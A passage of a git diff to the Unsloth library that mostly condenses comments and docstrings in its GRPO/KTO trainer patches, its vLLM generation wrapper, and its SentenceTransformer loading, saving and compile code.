for a square head, so replace every such decision before embedding. The expression is intentionally limited to a named tensor's last dimension against the lm_head input dimension, so a zoo that changes that contract fails at trainer generation instead of silently restoring the wrong dispatch. Partial matches have to fail too: a zoo respelling only some of its dispatches would satisfy a "did anything match?" check while the respelled sites keep deciding on width alone, so count the branch headers deciding off an ``lm_head`` dimension before and after substituting and require that none survive."""source = function if isinstance(function, str) else inspect.getsource(function)candidates = len(_GRPO_HIDDEN_STATES_WIDTH_DISPATCH_CANDIDATE.findall(source))replacements = 0@@ -2505,13 +2308,11 @@ RL_PRE_ITEMS["grpo_trainer"].append(RL_PRE_ITEMS["grpo_trainer"].append(grpo_compute_loss_slow)RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_update_SamplingParams))RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_get_inference_mode_context_manager))-# inspect.getsource inlines function bodies but not module imports, so constants the inlined-# grpo functions use (UNSLOTH_ENABLE_LOGGING) must be redefined in the generated cache.+# inspect.getsource inlines function bodies but not module imports, so constants the inlined grpo functions use (UNSLOTH_ENABLE_LOGGING) must be redefined in the generated cache.RL_PRE_ITEMS["grpo_trainer"].append("import os as _unsloth_os\n""UNSLOTH_ENABLE_LOGGING = _unsloth_os.environ.get('UNSLOTH_ENABLE_LOGGING', '0') in ('1', 'True', 'true')\n")-# Sequence-packing gates, same values as the module-top constants.RL_PRE_ITEMS["grpo_trainer"].append("UNSLOTH_GRPO_SEQ_PACKING_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_SEQ_PACKING', '1').lower() not in ('0', 'false', 'no', 'off')\n")@@ -2523,7 +2324,6 @@ RL_PRE_ITEMS["grpo_trainer"].append("except Exception:\n"" UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False\n")-# PrefixGrouper gate, same shape as the module-top constants.RL_PRE_ITEMS["grpo_trainer"].append("_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None\n""UNSLOTH_GRPO_PREFIX_GROUPER_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_PREFIX_GROUPER', '1').lower() not in ('0', 'false', 'no', 'off')\n"@@ -2533,8 +2333,7 @@ RL_PRE_ITEMS["grpo_trainer"].append(" except Exception:\n"" UNSLOTH_GRPO_PREFIX_GROUPER_ON = False\n")-# getsource inlines the grpo bodies but not this file's imports, so the generated cache needs-# its own guarded import or detect_logit_transforms is a NameError.+# getsource inlines the grpo bodies but not this file's imports, so the generated cache needs its own guarded import or detect_logit_transforms is a NameError.RL_PRE_ITEMS["grpo_trainer"].append("try:\n"" from unsloth_zoo.device_map_planner import detect_logit_transforms\n"@@ -2543,7 +2342,6 @@ RL_PRE_ITEMS["grpo_trainer"].append()-# Edit _get_per_token_logps to handle mixed precision.def grpo_trainer_compute_loss(function_name, function):if function_name != "compute_loss":return function@@ -2578,8 +2376,7 @@ def grpo_trainer_compute_loss(function_name, function):num_items_in_batch = inputs.get("num_items_in_batch", None)sampling_per_token_logps = inputs.get("sampling_per_token_logps", None)tool_mask = inputs.get("tool_mask", None)- # Missing when evaluate() runs standalone; eval does not accumulate, so fall back to 1 rather- # than underreport eval_loss (#2464).+ # Missing when evaluate() runs standalone; eval does not accumulate, so fall back to 1 rather than underreport eval_loss (#2464).current_gradient_accumulation_steps = getattr(self, "current_gradient_accumulation_steps", 1)@@ -2628,8 +2425,7 @@ def grpo_trainer_compute_loss(function_name, function):per_token_logps = get_logps_func(model, input_ids, attention_mask, logits_to_keep, compute_efficient = True)- # KL divergence between model and reference: _prepare_inputs no longer returns reference log- # probs. See trl grpo_trainer.py#L1328.+ # KL divergence between model and reference: _prepare_inputs no longer returns reference log probs. See trl grpo_trainer.py#L1328.ref_logps = inputs.get("ref_per_token_logps", None)# x - x.detach() preserves gradients from x.advantages = inputs["advantages"]@@ -2638,9 +2434,7 @@ def grpo_trainer_compute_loss(function_name, function):input_ids = input_ids[:, -logits_to_keep:]model_config = _unsloth_get_model_config(model)- # The old and reference logps come from _get_per_token_logps_and_entropies and the gradient- # logps from here, so both must read the transforms alike or the importance ratio compares two- # different policies.+ # The old and reference logps come from _get_per_token_logps_and_entropies and the gradient logps from here, so both must read the transforms alike or the importance ratio compares two different policies.if detect_logit_transforms is not None:# model_config, not model: see _get_per_token_logps_and_entropies._transforms = detect_logit_transforms(model_config)@@ -2930,9 +2724,7 @@ def grpo_trainer_compute_loss(function_name, function):RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer_compute_loss)-# KTO shape mismatch: the Unsloth forward truncates input_ids while labels are untouched, and-# TRL 0.27.2+ _process_tokens truncates only completions, so an over-length prompt makes the-# model emit shorter logits than the labels expect.+# KTO shape mismatch: the Unsloth forward truncates input_ids while labels are untouched, and TRL 0.27.2+ _process_tokens truncates only completions, so an over-length prompt makes the model emit shorter logits than the labels expect.def kto_trainer_get_batch_logps(function_name, function):if function_name != "get_batch_logps":return function@@ -2951,10 +2743,7 @@ def kto_trainer_get_batch_logps(function_name, function):RL_FUNCTIONS["kto_trainer"].append(kto_trainer_get_batch_logps)-# TRL 1.x dropped KTOTrainer.get_batch_logps and moved the math into _compute_logps /-# compute_ref_log_probs / _compute_kl_logps, which call selective_log_softmax on-# completion-only tokens. Same truncation hazard, so clamp logits/ids/mask to the shorter-# length (a no-op when equal).+# TRL 1.x dropped KTOTrainer.get_batch_logps and moved the math into _compute_logps / compute_ref_log_probs / _compute_kl_logps, which call selective_log_softmax on completion-only tokens. Same truncation hazard, so clamp logits/ids/mask to the shorter length (a no-op when equal)._KTO_COMPLETION_RE = re.compile(r"(?P<ws>[ \t]*)shift_logits = completion_logits\[:, :-1, :\]\.contiguous\(\)\n"r"(?P=ws)per_token_logps = selective_log_softmax\(\s*shift_logits,\s*"@@ -3011,7 +2800,6 @@ RL_FUNCTIONS["kto_trainer"].append(kto_trainer_align_completion_logps)# TRL warns if batch size is not a multiple of num_generations; see trl grpo_trainer.py#L356.def grpo_trainer_fix_batch_size(RLTrainer_source, RLConfig_source):if "divisible by the number of generations" not in RLTrainer_source:- # In later trl versions this no longer exists.return ""if "num_generations" not in RLConfig_source:return ""@@ -3033,7 +2821,6 @@ def grpo_trainer_metrics(RLTrainer_source, RLConfig_source):if "reward_funcs" not in RLTrainer_source:return ""- # New TRL has /mean and /std.use_mean = "rewards/{reward_func_name}/mean" in RLTrainer_sourceuse_std = "rewards/{reward_func_name}/std" in RLTrainer_sourceif not use_mean:@@ -3062,10 +2849,7 @@ RL_METRICS_CHANGES["grpo_trainer"].append(grpo_trainer_metrics)def openenv_vllm_reload_weights():- # Patch trl's openenv generate_rollout_completions to guard reload_weights when sharing weights- # with vLLM, and to call wake_up() untagged: TRL's wake_up(tags=["kv_cache"]) leaves- # is_sleeping=True at the executor, so Unsloth's generate wakes again and double create_and_maps- # mapped handles. Unsloth's CuMemAllocator.wake_up skips weights anyway.+ # Patch trl's openenv generate_rollout_completions to guard reload_weights when sharing weights with vLLM, and to call wake_up() untagged: TRL's wake_up(tags=["kv_cache"]) leaves is_sleeping=True at the executor, so Unsloth's generate wakes again and double create_and_maps mapped handles. Unsloth's CuMemAllocator.wake_up skips weights anyway.if importlib.util.find_spec("trl") is None:returnif Version(importlib_version("trl")) < Version("0.26.0"):@@ -3090,9 +2874,7 @@ def openenv_vllm_reload_weights():patch_target_name = "generate_rollout_completions"patch_target = getattr(openenv_utils, patch_target_name)- # TRL 0.29.1+ ships some openenv helpers as bytecode with no source, so inspect.getsource- # raises OSError; skip the rewrite rather than crash. The unmodified path keeps the duplicate- # reload_weights and the tagged wake_up, so openenv GRPO users may see redundant reloads.+ # TRL 0.29.1+ ships some openenv helpers as bytecode with no source, so inspect.getsource raises OSError; skip the rewrite rather than crash. The unmodified path keeps the duplicate reload_weights and the tagged wake_up, so openenv GRPO users may see redundant reloads.try:src = inspect.getsource(patch_target)except OSError as e:@@ -3123,15 +2905,13 @@ def openenv_vllm_reload_weights():src = reload_weights_pattern.sub(replace_reload_weights, src)- # wake_up() with no tags wakes everything and sets is_sleeping=False, preventing a double- # wake_up; Unsloth's allocator skips weights anyway.+ # wake_up() with no tags wakes everything and sets is_sleeping=False, preventing a double wake_up; Unsloth's allocator skips weights anyway.src = re.sub(r"\.wake_up\(tags=\[.*?\]\)", ".wake_up()", src)if original_src == src:logger.warning("Unsloth: Warning - regex did not match, patch may have failed")return- # Execute and explicitly assign to the module.local_ns = {}exec(compile(src, "<unsloth>", "exec"), openenv_utils.__dict__, local_ns)patched_func = local_ns[patch_target_name]@@ -3147,8 +2927,7 @@ RL_ADDITIONAL_FUNCTIONS["openenv"].append(openenv_vllm_reload_weights)def vllm_generation_init_patch():- # trl moved vllm code to trl/generation/vllm_generation.py (commit 0eb66d8, 0.28.0+), which- # must be patched so it does not build a second vLLM instance when fast_inference has one.+ # trl moved vllm code to trl/generation/vllm_generation.py (commit 0eb66d8, 0.28.0+), which must be patched so it does not build a second vLLM instance when fast_inference has one.if importlib.util.find_spec("trl") is None:return@@ -3227,8 +3006,7 @@ def vllm_generation_init_patch():def replace_sync_weights(match):body = match.group("body")- # Chain getattr so server mode, where self.llm is unset, does not raise AttributeError before- # the default kicks in.+ # Chain getattr so server mode, where self.llm is unset, does not raise AttributeError before the default kicks in.guard = (" if getattr(getattr(self, 'llm', None), 'shared_weights', False) or ""getattr(self, 'unsloth_fast_inference_lora', False):\n"@@ -3253,14 +3031,7 @@ def vllm_generation_init_patch():)return patched_src- # `generate` is deliberately NOT source-patched. Its two anchors drifted: TRL >= 1.x deleted- # the collective_rpc("reload_weights") call for self.sync_weights(), so the anchor matched 0- # times, raised, and took the lora injection with it -- GRPO rollouts came from the BASE model.- # The generate regex is also not paren-balanced and mis-edits multi-line calls.- # Intercept on the vLLM engine instead of TRL's method body: self.llm is the vLLM LLM object in- # colocate mode in every release with VLLMGeneration, and generate / chat / collective_rpc are- # public stable APIs, checked across vLLM 0.11.0-0.27.1. The override is scoped to one- # VLLMGeneration.generate call and undone in a finally.+ # `generate` is deliberately NOT source-patched: its two anchors drifted (TRL >= 1.x deleted the collective_rpc("reload_weights") call for self.sync_weights(), so the anchor matched 0 times, raised, and took the lora injection with it, making GRPO rollouts come from the BASE model), and the generate regex is not paren-balanced and mis-edits multi-line calls. Intercept on the vLLM engine instead of TRL's method body: self.llm is the vLLM LLM object in colocate mode in every release with VLLMGeneration, and generate / chat / collective_rpc are public stable APIs checked across vLLM 0.11.0-0.27.1. The override is scoped to one VLLMGeneration.generate call and undone in a finally._UNSLOTH_GENERATE_WRAPPED = "_unsloth_vllm_generation_lora_wrapped"# Mirror the per-device naming in rl.py so two ranks on one node do not race on the same adapter directory.@@ -3300,36 +3071,19 @@ def vllm_generation_init_patch():saved.append((name, had_own, bound))def caller_already_bound_lora(bound, args, kwargs):- """Has the caller's own argument list already filled `lora_request`?-- A keyword `lora_request` that is not None is the caller's choice, so leave- it. A keyword `lora_request = None` is not: on a shared-weights engine that- means base-model rollouts, which is the bug this whole wrapper exists to- fix, so it gets overwritten.-- The positional case is the one that has to be checked rather than assumed.- `lora_request` is keyword-only on `LLM.generate` in every vLLM release from- 0.11.0 to 0.27.1, but on `LLM.chat` it is an ordinary positional-or-keyword- parameter, and its index there has already moved once (`tokenization_kwargs`- landed in 0.18.0). A caller that passed it positionally has supplied it, and- adding a keyword on top would be `TypeError: got multiple values`, not a- missing adapter. Bind the real signature instead of counting arguments so a- future reshuffle cannot reintroduce that.- """+ """Has the caller's own argument list already filled `lora_request`? A keyword `lora_request` that is not None is the caller's choice, so leave it; a keyword `lora_request = None` is not, since on a shared-weights engine that means base-model rollouts. The positional case has to be checked rather than assumed: `lora_request` is keyword-only on `LLM.generate` in every vLLM release from 0.11.0 to 0.27.1, but on `LLM.chat` it is positional-or-keyword and its index has already moved once (`tokenization_kwargs` landed in 0.18.0), so adding a keyword on top would be `TypeError: got multiple values`. Bind the real signature instead of counting arguments."""if kwargs.get("lora_request", None) is not None:return Truetry:positional = inspect.signature(bound).bind_partial(*args).argumentsexcept (TypeError, ValueError):- # Unintrospectable callable (C extension, odd wrapper): the keyword check above is all we have,- # and injecting is the safe default.+ # Unintrospectable callable (C extension, odd wrapper): the keyword check above is all we have, and injecting is the safe default.return Falsereturn "lora_request" in positionaldef wrap_generation_call(bound):def unsloth_generation_call(*args, **kwargs):- # vLLM needs the adapter handed to it explicitly: the shared engine holds the BASE weights, and- # sync_weights is a no-op when sharing.+ # vLLM needs the adapter handed to it explicitly: the shared engine holds the BASE weights, and sync_weights is a no-op when sharing.if load_lora is not None and not caller_already_bound_lora(bound, args, kwargs):kwargs["lora_request"] = load_lora(lora_name, load_tensors = True)return bound(*args, **kwargs)@@ -3338,8 +3092,7 @@ def vllm_generation_init_patch():def wrap_collective_rpc(bound):def unsloth_collective_rpc(method, *args, **kwargs):- # The engine already shares the live training weights, so reload_weights would pull the- # ORIGINAL checkpoint back off disk.+ # The engine already shares the live training weights, so reload_weights would pull the ORIGINAL checkpoint back off disk.if method == "reload_weights":return Nonereturn bound(method, *args, **kwargs)@@ -3366,16 +3119,13 @@ def vllm_generation_init_patch():original_generate, "__qualname__", "VLLMGeneration.generate")generate.__doc__ = getattr(original_generate, "__doc__", None)- # inspect.getsource / inspect.signature unwrap this, so drift detectors and other source-reading- # patches still see TRL's own generate.+ # inspect.getsource / inspect.signature unwrap this, so drift detectors and other source-reading patches still see TRL's own generate.generate.__wrapped__ = original_generatesetattr(generate, _UNSLOTH_GENERATE_WRAPPED, True)vllm_generation.VLLMGeneration.generate = generatereturn True- # Snapshot before patching: a HALF-patched VLLMGeneration is worse than none, since _init_vllm- # plus sync_weights without the generate-side adapter injection means no weight sync AND no- # LoRA, i.e. base-model rollouts with no error. If one of the three fails, restore all three.+ # Snapshot before patching: a HALF-patched VLLMGeneration is worse than none, since _init_vllm plus sync_weights without the generate-side adapter injection means no weight sync AND no LoRA, i.e. base-model rollouts with no error. If one of the three fails, restore all three.method_names = ("_init_vllm", "sync_weights", "generate")originals = {name: getattr(vllm_generation.VLLMGeneration, name, None) for name in method_names}try:diff --git a/unsloth/models/sentence_transformer.py b/unsloth/models/sentence_transformer.pyindex 7c1d4d16813..691e3186c68 100644--- a/unsloth/models/sentence_transformer.py+++ b/unsloth/models/sentence_transformer.py@@ -1,11 +1,8 @@# Copyright 2025 electroglyph. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -54,12 +51,7 @@ _CREATE_TRANSFORMER_MODULE_LOCK = threading.RLock()def _normalize_save_method(save_method):- """Fold "MERGED_16BIT" and "merged 16bit" onto "merged_16bit".-- unsloth_save_model (save.py) normalizes case and spaces before validating,- so the same spelling has to mean the same thing here, else a keyword call- that worked before starts raising.- """+ """Fold "MERGED_16BIT" and "merged 16bit" onto "merged_16bit". unsloth_save_model (save.py) normalizes case and spaces before validating, so the same spelling has to mean the same thing here, else a keyword call that worked before starts raising."""if isinstance(save_method, str):return save_method.lower().replace(" ", "_")return save_method@@ -171,10 +163,7 @@ def _save_pretrained_gguf(gguf_shard_size = None,**kwargs,):- """- Saves the SentenceTransformer model to GGUF format by saving the inner transformer model,- converting it, and placing the resulting GGUF files in the save directory.- """+ """Saves the SentenceTransformer model to GGUF format by saving the inner transformer model, converting it, and placing the resulting GGUF files in the save directory."""self.save_pretrained(save_directory)# Extract the inner transformer model; PEFT merge is handled by the gguf saver.@@ -182,7 +171,6 @@ def _save_pretrained_gguf(if hasattr(inner_model, "_orig_mod"):inner_model = inner_model._orig_mod- # 3. Identify where the transformer weights are storedtransformer_path = "0_Transformer"modules_path = os.path.join(save_directory, "modules.json")if os.path.exists(modules_path):@@ -203,8 +191,7 @@ def _save_pretrained_gguf(if tokenizer is None:tokenizer = self.tokenizer- # No rmtree guard here: the merge cleanup that deletes save_directory is gated on push_to_hub, which- # is forced False below.+ # No rmtree guard here: the merge cleanup that deletes save_directory is gated on push_to_hub, which is forced False below.result = unsloth_save_pretrained_gguf(inner_model,save_directory = transformer_dir,@@ -216,14 +203,12 @@ def _save_pretrained_gguf(max_shard_size = max_shard_size,temporary_location = temporary_location,maximum_memory_usage = maximum_memory_usage,- # transformer_dir is the ST's own 0_Transformer module, not a throwaway: reclaiming it would hand- # back a folder that no longer loads as a SentenceTransformer, so a short disk fails loudly.+ # transformer_dir is the ST's own 0_Transformer module, not a throwaway: reclaiming it would hand back a folder that no longer loads as a SentenceTransformer, so a short disk fails loudly.merge_is_disposable = False,imatrix_file = imatrix_file,gguf_shard_size = gguf_shard_size,)- # Move GGUF files from the 0_Transformer subdirectory to the root save_directory.gguf_files = result.get("gguf_files", [])new_gguf_locations = []@@ -514,10 +499,7 @@ This sentence-transformers model was finetuned and converted to GGUF format usinclass FastSentenceTransformer(FastModel):@staticmethoddef _save_base_config_for_processor_resume(config, output_path):- """sentence-transformers >= 5.4 reloads Transformer modules via- AutoProcessor, which falls back to AutoConfig for tokenizer-only- roots -- so PEFT adapter checkpoints still need base config.json- next to adapter_config.json."""+ """sentence-transformers >= 5.4 reloads Transformer modules via AutoProcessor, which falls back to AutoConfig for tokenizer-only roots, so PEFT adapter checkpoints still need base config.json next to adapter_config.json."""if config is None or not getattr(config, "model_type", None):returnif hasattr(config, "save_pretrained"):@@ -617,7 +599,6 @@ class FastSentenceTransformer(FastModel):)return "mean"- # Should probably be done upstream instead of here.@staticmethoddef _patch_mpnet_v4():"""Patch MPNetModel for gradient checkpointing (transformers 4)."""@@ -637,10 +618,7 @@ class FastSentenceTransformer(FastModel):modeling_mpnet.MPNetModel._set_gradient_checkpointing = _set_gradient_checkpointing- # Patch MPNetEncoder.forward for checkpointing; based on transformers v4.57.3- # models/mpnet/modeling_mpnet.py#L321- # based on: https://github.com/huggingface/transformers/blob/v4.57.3/src/transformers/models/distilbert/- # modeling_distilbert.py#L666+ # Patch MPNetEncoder.forward for checkpointing; based on transformers v4.57.3 models/mpnet/modeling_mpnet.py#L321 and models/distilbert/modeling_distilbert.py#L666.def forward(self,hidden_states: torch.Tensor,@@ -724,8 +702,7 @@ class FastSentenceTransformer(FastModel):modeling_mpnet.MPNetModel._set_gradient_checkpointing = _set_gradient_checkpointing- # Patch MPNetEncoder.forward for checkpointing; based on transformers v5.0.0rc1- # models/mpnet/modeling_mpnet.py#L284+ # Patch MPNetEncoder.forward for checkpointing; based on transformers v5.0.0rc1 models/mpnet/modeling_mpnet.py#L284.def forward(self,hidden_states: torch.Tensor,@@ -789,8 +766,7 @@ class FastSentenceTransformer(FastModel):@staticmethoddef _patch_distilbert_v4():- # Change kwargs to positional args to be compatible with peft_utils; based on transformers v4.57.3- # models/distilbert/modeling_distilbert.py#L666+ # Change kwargs to positional args to be compatible with peft_utils; based on transformers v4.57.3 models/distilbert/modeling_distilbert.py#L666."""Patch DistilBertModel.forward to use positional args (transformers 4)."""def forward(@@ -1007,8 +983,7 @@ class FastSentenceTransformer(FastModel):"""Helper to create and configure a Transformer module."""from sentence_transformers.models import Transformer- # Prevents loading the model a second time and redirects AutoProcessor/AutoTokenizer so- # Transformer.__init__ picks up our pre-fixed tokenizer.+ # Prevents loading the model a second time and redirects AutoProcessor/AutoTokenizer so Transformer.__init__ picks up our pre-fixed tokenizer.from transformers import AutoProcessor, AutoTokenizerdef is_requested_model_name(args, kwargs):@@ -1065,7 +1040,6 @@ class FastSentenceTransformer(FastModel):return original_processor_from_pretrained(*args, **kwargs)try:- # Temporarily redirect Auto* loading to return our pre-loaded objects.AutoModel.from_pretrained = return_existing_modelAutoProcessor.from_pretrained = return_existing_processorAutoTokenizer.from_pretrained = return_existing_tokenizer@@ -1087,9 +1061,7 @@ class FastSentenceTransformer(FastModel):elif "tokenizer_args" in transformer_init_params:transformer_kwargs["tokenizer_args"] = trust_remote_code_kwargs.copy()- # Build via Transformer.load so the saved modality_config is honored: a plain Transformer(...)- # makes ST 5.x infer a "message" modality for chat-template models, chat-wrapping inputs and- # degrading embeddings (#6881). Only use .load for a Hub id; ST 3.x/4.x load() is local-only.+ # Build via Transformer.load so the saved modality_config is honored: a plain Transformer(...) makes ST 5.x infer a "message" modality for chat-template models, chat-wrapping inputs and degrading embeddings (#6881). Only use .load for a Hub id; ST 3.x/4.x load() is local-only.transformer_module = Nonetransformer_load = getattr(Transformer, "load", None)has_modules_json = (@@ -1114,9 +1086,7 @@ class FastSentenceTransformer(FastModel):"trust_remote_code": trust_remote_code,**transformer_kwargs,}- # Resolve config/tokenizer from the module's saved subfolder (modules.json "path"),- # like stock ST;- # "" (root) is a no-op.+ # Resolve config/tokenizer from the module's saved subfolder (modules.json "path"), like stock ST; "" (root) is a no-op.if module_subfolder:load_kwargs["subfolder"] = module_subfolderif not accepts_var_kw:@@ -1125,13 +1095,11 @@ class FastSentenceTransformer(FastModel):if transformer_module is None:transformer_module = Transformer(model_name, **transformer_kwargs)finally:- # Restore original Auto* loading immediatelyAutoModel.from_pretrained = original_model_from_pretrainedAutoProcessor.from_pretrained = original_processor_from_pretrainedAutoTokenizer.from_pretrained = original_tokenizer_from_pretrained- # On sentence-transformers >= 5.4 `tokenizer` is a read-only property backed by self.processor;- # on older versions it is a regular attribute and this assignment is required.+ # On sentence-transformers >= 5.4 `tokenizer` is a read-only property backed by self.processor; on older versions it is a regular attribute and this assignment is required.if not isinstance(getattr(type(transformer_module), "tokenizer", None), property):transformer_module.tokenizer = tokenizertransformer_module.do_lower_case = getattr(tokenizer, "do_lower_case", False)@@ -1211,11 +1179,7 @@ class FastSentenceTransformer(FastModel):cache_dir = None,revision = None,) -> tuple[OrderedDict, bool]:- """Load modules from modules.json, else fall back to hard-coded modules.-- Returns:- tuple[OrderedDict, bool]: (modules, no_modules_json)- """+ """Load modules from modules.json, else fall back to hard-coded modules. Returns (modules, no_modules_json)."""from sentence_transformers.util import import_from_string, load_dir_pathfrom sentence_transformers.models import Pooling, Normalize@@ -1271,7 +1235,6 @@ class FastSentenceTransformer(FastModel):return modules, False- # Fallback if there is no modules.json (non sentence-transformers models).print("Unsloth: No modules.json found, falling back to [Transformer, Pooling, Normalize]. This may or may not work.")@@ -1319,12 +1282,7 @@ class FastSentenceTransformer(FastModel):grad_accum = None,max_seq_length = None,):- """Estimate the minimum training steps for torch.compile to pay off- (with a 1.2x safety margin), from empirical benchmarks.-- Optional batch_size / grad_accum / max_seq_length give a coarse,- conservative pre-run adjustment with no runtime measurements.- """+ """Estimate the minimum training steps for torch.compile to pay off (with a 1.2x safety margin), from empirical benchmarks. Optional batch_size / grad_accum / max_seq_length give a coarse, conservative pre-run adjustment with no runtime measurements."""if hasattr(model, "__getitem__"):try:inner = model[0].auto_model@@ -1345,8 +1303,7 @@ class FastSentenceTransformer(FastModel):params_m = params / 1e6- # Empirical formula from benchmarks with batch_size=2, grad_accum=4: small models carry high fixed- # overhead and a lower speedup, large models scale warmup but gain significantly.+ # Empirical formula from benchmarks with batch_size=2, grad_accum=4: small models carry high fixed overhead and a lower speedup, large models scale warmup but gain significantly.if params_m < 50:estimated_warmup = 35 + params_m * 0.3base_speedup = 1.35@@ -1368,8 +1325,7 @@ class FastSentenceTransformer(FastModel):threshold = breakeven * 1.2- # Optional adjustment based on expected work per step, using only pre-run information (batch size,- # grad accum, seq length).+ # Optional adjustment based on expected work per step, using only pre-run information (batch size, grad accum, seq length).generic_scale = 1.0fast_scale = 1.0if batch_size is not None or grad_accum is not None or max_seq_length is not None:@@ -1387,19 +1343,16 @@ class FastSentenceTransformer(FastModel):ref_bs, ref_ga, ref_seq = 2, 4, 512- # Generic path: lighter scaling, less conservative than params-only.ga_scale = (ref_ga / ga) ** 1.0bs_seq_scale = ((ref_bs * ref_seq) / (bs * seq)) ** 0.15generic_scale = 0.35 * ga_scale * bs_seq_scalegeneric_scale = max(0.05, min(generic_scale, 5.0))- # Fast encoder path: stronger scaling based on observed behavior.fast_ga_scale = (ref_ga / ga) ** 1.5fast_bs_seq_scale = ((ref_bs * ref_seq) / (bs * seq)) ** 0.25fast_scale = 0.2 * fast_ga_scale * fast_bs_seq_scalefast_scale = max(0.05, min(fast_scale, 5.0))- # Conservative safety factors: generic is less conservative than fast.generic_threshold = threshold * generic_scale * 1.25is_fast_type = (@@ -1408,7 +1361,6 @@ class FastSentenceTransformer(FastModel):)if is_fast_type:fast_threshold = threshold * fast_scale * 1.5- # Prefer the smaller (less conservative) of the two estimates.final_threshold = min(generic_threshold, fast_threshold)else:final_threshold = generic_threshold@@ -1422,8 +1374,7 @@ class FastSentenceTransformer(FastModel):@staticmethoddef _apply_torch_compile(model, mode = "default"):- """Apply torch.compile to a SentenceTransformer model (with an- accelerate unwrap_model bug workaround)."""+ """Apply torch.compile to a SentenceTransformer model (with an accelerate unwrap_model bug workaround)."""if hasattr(model, "__getitem__"):inner_model = model[0].auto_modelcompiled = torch.compile(inner_model, mode = mode)@@ -1431,8 +1382,7 @@ class FastSentenceTransformer(FastModel):model[0].model = compiledelse:model[0].auto_model = compiled- # Works around an accelerate unwrap_model bug: with a compiled inner model accelerate sees- # has_compiled_regions() True and then fails on model.__dict__["_orig_mod"], so set it.+ # Works around an accelerate unwrap_model bug: with a compiled inner model accelerate sees has_compiled_regions() True and then fails on model.__dict__["_orig_mod"], so set it.model.__dict__["_orig_mod"] = modelelse:model = torch.compile(model, mode = mode)@@ -1475,15 +1425,9 @@ class FastSentenceTransformer(FastModel):"Run `pip install sentence-transformers` to install it.")- # The other leaf loaders resolve the "unsloth" sentinel by planning; this one declines. st_device- # below hands device_map to SentenceTransformer(device=), which ends in self.to(device): the- # sentinel raises there, and that same .to() would pull a split model back onto one card. The- # env-var opt-in is resolved too, or UNSLOTH_AUTO_DEVICE_MAP=1 asks for a plan without naming the- # sentinel.+ # The other leaf loaders resolve the "unsloth" sentinel by planning; this one declines. st_device below hands device_map to SentenceTransformer(device=), which ends in self.to(device): the sentinel raises there, and that same .to() would pull a split model back onto one card. The env-var opt-in is resolved too, or UNSLOTH_AUTO_DEVICE_MAP=1 asks for a plan without naming the sentinel.device_map = requested_device_map(device_map)- # Always "sequential", never the asked-for name's own declined value: the st_device blocks- # normalise only dicts, "auto" and "sequential", so "balanced" would reach .to("balanced").- # isinstance first, since a caller's explicit dict is unhashable and `in` alone raises.+ # Always "sequential", never the asked-for name's own declined value: the st_device blocks normalise only dicts, "auto" and "sequential", so "balanced" would reach .to("balanced"). isinstance first, since a caller's explicit dict is unhashable and `in` alone raises.if isinstance(device_map, str) and device_map in _PLANNED_DEVICE_MAPS:print("Unsloth: Not planning a device map; SentenceTransformer moves the assembled "@@ -1491,8 +1435,7 @@ class FastSentenceTransformer(FastModel):)device_map = "sequential"- # Validate the load modes BEFORE the prefetch so a bad config fails without downloading weights;- # guarded on not for_inference, since that branch never used these flags.+ # Validate the load modes BEFORE the prefetch so a bad config fails without downloading weights; guarded on not for_inference, since that branch never used these flags.if not for_inference:# sanity check, thanks Etherl:if full_finetuning and (load_in_4bit or load_in_8bit):@@ -1512,8 +1455,7 @@ class FastSentenceTransformer(FastModel):"If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`")- # Prefetch so the ST load below is a cache hit. weights_at_root stays False, since ST component- # weights live in per-module subfolders.+ # Prefetch so the ST load below is a cache hit. weights_at_root stays False, since ST component weights live in per-module subfolders._st_prefetched = maybe_prefetch_hf_snapshot(model_name,token = token,@@ -1522,8 +1464,7 @@ class FastSentenceTransformer(FastModel):or kwargs.get("cache_folder")or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),local_files_only = kwargs.get("local_files_only", False),- # Forward force_download so the refresh happens in the killable child, then clear it so the in-- # process ST load reuses the warm cache instead of re-downloading over unguarded Xet.+ # Forward force_download so the refresh happens in the killable child, then clear it so the in-process ST load reuses the warm cache instead of re-downloading over unguarded Xet.force_download = kwargs.get("force_download", False),)if _st_prefetched and kwargs.get("force_download", False):@@ -1559,8 +1500,7 @@ class FastSentenceTransformer(FastModel):if k in kwargs:st_kwargs[k] = kwargs[k]- # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm (None lets- # ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).+ # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm cache (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch)._st_cache = kwargs.get("cache_dir") or kwargs.get("cache_folder")if _st_cache is not None:st_kwargs["cache_folder"] = _st_cache@@ -1568,7 +1508,6 @@ class FastSentenceTransformer(FastModel):st_model = SentenceTransformer(model_name, **st_kwargs)return st_model- # Load-mode validation already ran before the prefetch above.if "auto_model" not in kwargs:kwargs["auto_model"] = AutoModel@@ -1583,14 +1522,11 @@ class FastSentenceTransformer(FastModel):except:pass- # Fast encoder path: native torch.compile for encoder models (6x speedup), bypassing Unsloth's- # auto-compiler, whose @torch.compiler.disable decorators error for encoders on torch 2.9+.- # Set UNSLOTH_COMPILE_DISABLE=1 for the old path.+ # Fast encoder path: native torch.compile for encoder models (6x speedup), bypassing Unsloth's auto-compiler, whose @torch.compiler.disable decorators error for encoders on torch 2.9+. Set UNSLOTH_COMPILE_DISABLE=1 for the old path.is_encoder_model = model_type.lower() in FastSentenceTransformer.ENCODER_MODEL_TYPESuse_fast_encoder = os.environ.get("UNSLOTH_COMPILE_DISABLE", "0") != "1"if use_fast_encoder and is_encoder_model:- # torch.compile mode "default" is safest for PEFT/LoRA training; "reduce-overhead" uses CUDA Graphs,- # which are incompatible with PEFT.+ # torch.compile mode "default" is safest for PEFT/LoRA training; 